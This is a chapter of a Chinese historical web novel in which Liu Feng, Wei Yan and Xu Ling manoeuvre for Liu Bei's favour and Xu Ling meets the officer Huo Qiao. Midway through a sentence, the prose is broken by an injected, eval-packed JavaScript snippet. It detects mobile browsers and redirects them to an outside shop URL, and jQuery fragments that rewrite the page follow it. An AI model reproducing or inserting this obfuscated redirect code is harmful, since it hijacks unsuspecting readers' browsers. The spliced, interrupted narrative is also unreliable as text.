魏延带着张南及其麾下数百名精兵回到先锋营，天色已近黄昏。向刘封回报时，他正在帐中独自享用飱食。刘封的配给比寻常兵卒士官更为丰富精细，除了碗里是与大家一样的粟米饭，面前矮几上还有一盘炙鹿肉、一碟葵菜、一盂豆羹和一杯蜜水。
“文长，且来与我同食！”
看到魏延进来，刘封放下匙筯起身相迎，旋即注意到张南，眼中划过一丝讶异：
“文进也来了？”
魏延出示了刘备关于张南率部调入先锋营的手令，刘封一字一句看着，表情幽深莫测。但在收到他转呈而来的刘备赏赐时，双眼顿时明亮起来：那是一张用料扎实的弓，铁胎为脊、桑柘为身。更令刘封爱不释手的，是一枚精巧的龟钮金印，篆刻着四个小字：副军之印。
“文长胆略过人，文进在伯鱼身边多年，亦是勇武雄赳。我年资尚浅，先锋营诸事，还要劳二位多费心。”
刘封和煦一笑，拱了拱手。张南看他心情不错，赶紧抓住机会问能不能去骑一圈赤云。虽然馋涎许久，从中军营来这一路，也只是牵着缰绳目不转睛地盯着，没敢偷偷骑上去。虽然心情确实很好，刘封还是稍显犹豫。赤云是他亲手养大的坐骑，即使偶尔外借，也只给过徐绫这样出身的新朋旧友。张南耷拉着脑袋，唇边那道旧疤往下撇了撇，对即将到来的拒绝并不意外，只是难免失落。
“小事而已，文进何必如此恳求，随意取用便是。”
听见刘封温润的声音响起，张南有片刻的恍惚，下意识朝魏延望了一眼寻求确认。魏延微微偏头，示意他见好就收，赶紧去马厩，免得人家改变主意。张南咧开嘴，连到唇角的旧疤让这个笑容被扩展到更深，一阵风似的离开了营帐。魏延抱拳行礼，想跟过去顺便清点一下辎重，却被刘封叫住：
“阿绫几时启程前往葭萌城？我去送送她。”
阿绫。
这个称呼钻入耳中，魏延垂眼遮住了瞬间黯淡的眸光，稍稍清嗓，将刘备的安排简要转述出来。讲到负责看顾之人是傅肜，刘封挑了挑眉，沉默少顷，若有所思问道：
“父亲可问起过她身上那件月白衣袍？”
魏延瞥他一眼，点点头，将当时情形详细描述了一遍。刘封脸上浮现出短暂的讶异，又徐徐化作意味深长的笑，龟钮金印在他修长白皙的手指间翻来覆去：
“阿绫真好啊。”
魏延盯着他，许多纷杂无章的心绪碎片瞬间因为刘封这句感叹而变得通彻。徐绫为什么要在觐见刘备时故意衣衫不整、让他注意到身上的衣袍，为什么要那般刻意地强调徐庶与刘封的师生旧谊，刘封为什么会神清气爽到竟然恩准张南去骑那匹小红马。
副军，一军之副，一人之下。
仅凭这两个字，虽不能让刘封就此接管先锋营，却给予了他未来统领更多的期许。先锋营直撄敌阵，断不可将帅异心。但如何对没有直接隶属关系的将官施加影响，本也是统帅的必修之业。
刘禅和刘永出生以后，大家对刘封的称谓悄然从公子变为长公子。这一点微妙差别，其实让刘封有些尴尬。徐绫那番话，恰到好处地在刘备面前为他增添了一圈仁厚重情的光环。刘禅和刘永固然是亲子，却只有五六岁。乱世之中，甚至都很难保证他们能否健康成年。
那枚龟钮金印如此精巧，军营工匠决计打造不出，定然早已备好，只不过选择在此刻交给刘封。徐绫的三言两语或许无法左右什么，但足以成为推动刘备做出最终决定的一份小小助力。
“徐子衿对左将军讲的那些话，是长公子所教？”
“只对她说过，若能在父亲面前稍提一句我对元直先生的感念，权当报答了赠衣之恩。”刘封浅抿一口蜜水，轻轻笑了笑，“其实当时不过开句玩笑，谁知阿绫竟这般用心。”
魏延脑海里忽然涌入了更多碎片：徐绫伏在案几上累极熟睡的身影，被自己用布条缠住眼睛时那一声低呜，以及中军帐外一触即散的对视。这两天对她而言是多么漫长而煎熬，中军大帐的气氛又是多么凝重威赫，刘封显然也并未抱有什么期待，她完全可以将这个玩笑般的嘱托直接抛之脑后。但徐绫没有，甚至去中军营的那一路都在琢磨该如何让话题出现得自然而然、不露痕迹。尽管已经无从知晓，若刘备未曾垂询，徐绫会不会主动挑起。但魏延觉得答案显而易见：一定会的。
他碰了碰自己的手背，那里仿佛还残留着淅淅沥沥落雨般的敲击触感。
呵，徐绫都敢在中军大帐搞这种把戏，世间哪还有什么是她不敢做的。
不过，她希望得到怎样的回报呢？肯定不止一句阿绫真好。
或许……嫁给刘封？
魏延拧紧眉头，仅仅是想到这种可能，就让他浑身不舒服。强烈的抗拒感从心底油然而生，仿佛海浪永不间断地拍打着礁石，直到碎裂成白沫。刘封哪里值得如此大费周章，他甚至都未曾看清徐绫真正的模样。
“文长还有事？”
留意到魏延眼中一团鼎水之沸，刘封试探着问了一句。魏延长吁一口气，甩掉那些乱糟糟的念头，开始跟他交割军务。冯武和五斗米道的勾连必须尽快处理，但张南初涉前线、威望不足，若雒城守军前来袭扰粮道或田亩，该怎样应对，才能既不让对方觉得是在故意引诱其派遣主力、也不让他们觉得此处无机可乘，其间关窍还是讲给刘封更为妥当。
刘封有一搭没一搭地应着，目光始终没有离开手中金印。魏延一走，他便挪到离烛火更近的地方，细细端详起来。
知恩图报这四个字，何其知易行难。
他想起徐绫几次郑重承诺，忽然萌生出真挚深刻的懊悔：怎么能把那件露出内衬经线的墨绿绒氅送给她呢？太不够礼贤下士了。
于是，肉干、果脯、蜜糖、茱萸等等精致吃食被源源不断送入徐绫那顶小帐，随之而来的还有一件没有露出内衬经线的玄色狐裘大氅。
徐绫把锦囊里的最后一枚梅干拈在手里慢慢嚼着，心不在焉地看着赞卡指挥属下进进出出搬东运西。
日升月落，她记不清在这间小帐住了多久，或许才一两日，也可能已经许多天。
傅肜提供的食物虽称不上玉馔珍馐，但比风餐露宿时丰盛许多，她甚至感觉身型都变圆润了，哪里还需要什么吃食呢？
刘备没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486428|202034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再召见她，这让她陷入了从未有过的漫长迷茫之中。既看不清前路，又两手空空。比起考虑吃点什么，她更想知道自己还能做点什么。
一阵窸窸窣窣的喧嚣由远及近传来，徐绫转头望去，原来是一位青年将官款步而来，走到哪里，哪里就会响起一片热情的招呼声。修长劲瘦的身躯萦绕在朝食前的炊烟里，如画中仙、谷中兰。
离得近了，徐绫注意到，青年约有二十六七岁，虽然是一身靛青色郎君装束、腰悬佩剑，但脸颊柔润，身前有明显的起伏轮廓，也并未对喉间平滑做任何遮掩。颔首回礼时仪态优美，又隐隐散发出凛然不可侵的威势。徐绫观望了一圈大家投去的目光，亲近却不狎昵。
离得更近时，她发现青年的皮肤因为经年累月的风吹日晒而显得有些粗糙，虽然容貌英秀，但那一路上收获的敬慕显然不是得益于此。
“赞卡，实在对不起，近来军务繁重，没来得及去你家中询问口信，下次一定补上。”
青年走到赞卡面前，语气歉疚。赞卡摇了摇头，拱手行礼：
“霍校尉言重了，一直劳烦您，某已是心中难安，怎会反而有怪罪之意？”
青年的视线转向徐绫，微微一怔，悄然挑了挑眉梢，唇边缓缓漾开一抹笑意：
“我是军谋校尉霍峤，小郎君如何称呼？”
“颍川徐绫。”
话音未落，蓦地一阵风吹过，徐绫没有束紧的发髻晃了晃，逸出一缕长发倏然飘起。霍峤伸出手，指节弯曲，轻巧地帮她勾到耳后：
“我从葭萌城而来，专司书信传递。徐小郎君如有需要，来寻我就是。”
霍峤与徐绫互相抱拳一礼，转身离开。望着她逐渐隐没在霞光和炊烟里的背影，徐绫问道：
“赞卡，霍校尉为何要单独找你？”
“说来惭愧，我家人不擅汉话，营中没有五溪蛮语译使，书信无法审查。若写汉字，他们找人通译也很麻烦。霍校尉得知以后，但凡有空，每次往来之前，就会找我家人单独询问有无口信。”
徐绫把那缕散逸出来的长发一圈一圈缠绕在指间，又一圈一圈慢慢松开，继续问道：
“既然书信艰难，那图画呢？”
“军机图画岂可泄露，那可是罪同谋逆。”
见赞卡神情如此严肃，徐绫不禁哑然失笑，摇了摇头：
“自然不是什么军机秘闻，而是你的画像。”
她凑近几步望向赞卡，圆亮的鹿眼里闪烁着已然跨越千山万水的愿景明光。
“霍校尉无暇他顾之时，如若你的家人从画中知晓你康健无恙，想来也能聊慰一二。”
赞卡恍然大悟，微微张嘴，几乎要展开一个惊喜的笑，可随即又收敛起来：
“徐郎君指的，可是那些贵人们府上的工笔人像？某倒是见过，却画不出。”
徐绫欣欣然挺直了腰板，眼角眉梢都挂上跃跃欲试的勃勃生机，然后在赞卡讶异的注视下，指了指自己。
她最擅长的就是工笔人像，而且成画迅速、质量稳定，不仅可以描摹实景，还能依照描述凭想象绘制，甚至作为议婚之用也并无不可。